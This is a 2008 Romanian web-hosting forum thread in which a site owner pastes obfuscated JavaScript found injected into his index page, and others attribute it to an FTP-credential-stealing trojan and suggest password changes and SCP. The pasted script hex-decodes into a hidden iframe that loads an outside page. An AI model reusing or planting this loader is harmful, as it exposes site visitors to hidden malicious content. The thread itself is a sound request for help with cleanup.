SQL injection ?

Versiune printabilă

28th November 2008, 22:39
radanick

SQL injection ?

Are cineva idee cum m-am ales cu asta in site la sfarsitul paginii chiar dupa </html > :

function zucxtyszzwlc(lfuayofvgjwxsd){var wgxhuuipb="";for(mevzhyycoxlwakt=0;mevzhyycoxlwakt <lfuayofvgjwxsd.length;mevzhyycoxlwakt+=2){wgxhuui pb+=(String.fromCharCode(parseInt(lfuayofvgjwxsd.s ubstr(mevzhyycoxlwakt,2),16)));}document.write(wgx huuipb);}zucxtyszzwlc("3C696672616D65207372633D226 87474703A2F2F646E732D737461742E636F6D2F73746174732 F696E6465782E70687022206672616D65626F726465723D223 02220626F726465723D2230222077696474683D22302220686 5696768743D223022207374796C653D22706F736974696F6E3 A206162736F6C7574653B207669736962696C6974793A20686 96464656E3B20646973706C61793A206E6F6E65223E3C2F696 672616D653E");</script>
<script type="text/javascript">function zucxtyszzwlc(lfuayofvgjwxsd){var wgxhuuipb="";for(mevzhyycoxlwakt=0;mevzhyycoxlwakt <lfuayofvgjwxsd.length;mevzhyycoxlwakt+=2){wgxhuui pb+=(String.fromCharCode(parseInt(lfuayofvgjwxsd.s ubstr(mevzhyycoxlwakt,2),16)));}document.write(wgx huuipb);}zucxtyszzwlc("3C696672616D65207372633D226 87474703A2F2F646E732D737461742E636F6D2F73746174732 F696E6465782E70687022206672616D65626F726465723D223 02220626F726465723D2230222077696474683D22302220686 5696768743D223022207374796C653D22706F736974696F6E3 A206162736F6C7574653B207669736962696C6974793A20686 96464656E3B20646973706C61793A206E6F6E65223E3C2F696 672616D653E");
29th November 2008, 02:44
deadworldisee

Citat:

Postat în original de radanick

Are cineva idee cum m-am ales cu asta in site la sfarsitul paginii chiar dupa </html > :

function zucxtyszzwlc(lfuayofvgjwxsd){var wgxhuuipb="";for(mevzhyycoxlwakt=0;mevzhyycoxlwakt <lfuayofvgjwxsd.length;mevzhyycoxlwakt+=2){wgxhuui pb+=(String.fromCharCode(parseInt(lfuayofvgjwxsd.s ubstr(mevzhyycoxlwakt,2),16)));}document.write(wgx huuipb);}zucxtyszzwlc("3C696672616D65207372633D226 87474703A2F2F646E732D737461742E636F6D2F73746174732 F696E6465782E70687022206672616D65626F726465723D223 02220626F726465723D2230222077696474683D22302220686 5696768743D223022207374796C653D22706F736974696F6E3 A206162736F6C7574653B207669736962696C6974793A20686 96464656E3B20646973706C61793A206E6F6E65223E3C2F696 672616D653E");</script>
<script type="text/javascript">function zucxtyszzwlc(lfuayofvgjwxsd){var wgxhuuipb="";for(mevzhyycoxlwakt=0;mevzhyycoxlwakt <lfuayofvgjwxsd.length;mevzhyycoxlwakt+=2){wgxhuui pb+=(String.fromCharCode(parseInt(lfuayofvgjwxsd.s ubstr(mevzhyycoxlwakt,2),16)));}document.write(wgx huuipb);}zucxtyszzwlc("3C696672616D65207372633D226 87474703A2F2F646E732D737461742E636F6D2F73746174732 F696E6465782E70687022206672616D65626F726465723D223 02220626F726465723D2230222077696474683D22302220686 5696768743D223022207374796C653D22706F736974696F6E3 A206162736F6C7574653B207669736962696C6974793A20686 96464656E3B20646973706C61793A206E6F6E65223E3C2F696 672616D653E");

Ai virusat calculatoru.Iti cautafisierele index de pe hdd si iti adauga autmat scriptul asta
29th November 2008, 08:52
Bruzli

Ai ceva trojan, schimba-ti toate parolele ftp, si nu mai folosi total commander pana esti curat.
29th November 2008, 09:51
myamar

Bruzli, de ce sa nu mai foloseasca Total Commander? Intreb ca am un client care a patit si el la fel. Intr-adevar, in logurile ftp aparea o conectare a cuiva din afara.
29th November 2008, 10:21
Nica Cristian

Este bun FileZillla ?
29th November 2008, 11:37
big

Citat:

Este bun FileZillla ?

Il folosesc de vre-o 2 ani si sunt multumit.
29th November 2008, 18:11
radanick

Scriptul l-am gasit in pagina index de pe serverul de hosting, nu in cele din pc-ul personal (aici am nod 32 si zone alarm - am scanat si n-am gasit nimic, si am verificat si alte index-uri si n-am gasit nimic)
29th November 2008, 18:49
Bruzli

Sunt mai multe variante de troieni care se folosesc de lista de parole de la conexiunile ftp din Total Commander. De asemenea ai putea sa nu fii tu ci sa fie cineva care mai are acces la acel cont ftp prin TC. Daca nu modifici parola la contul ftp, periodic la fisierele index se va adauga acel script la sfarsit.
3rd December 2008, 00:14
fabby

sa verifici si login.php mie si acolo imi intra.
eu am scapat cu avira.com, si timp de 1 sapt choar 2, verificam site-urile, si scoteamcodu respectiv mereu..pana nu a mai intrat :)
3rd December 2008, 09:16
voidcode

Aceeasi chestie am patit-o eu.
1. Schimba-ti parola la ftp
2. Ar fi indicat sa iti schimbi portu de 21 pe alt port
3. Download winscp ftp client, protocol SCP

si ai rezolvat toate problemele aparute, si in cele din urma deviruseaza-ti si pc

cu stima;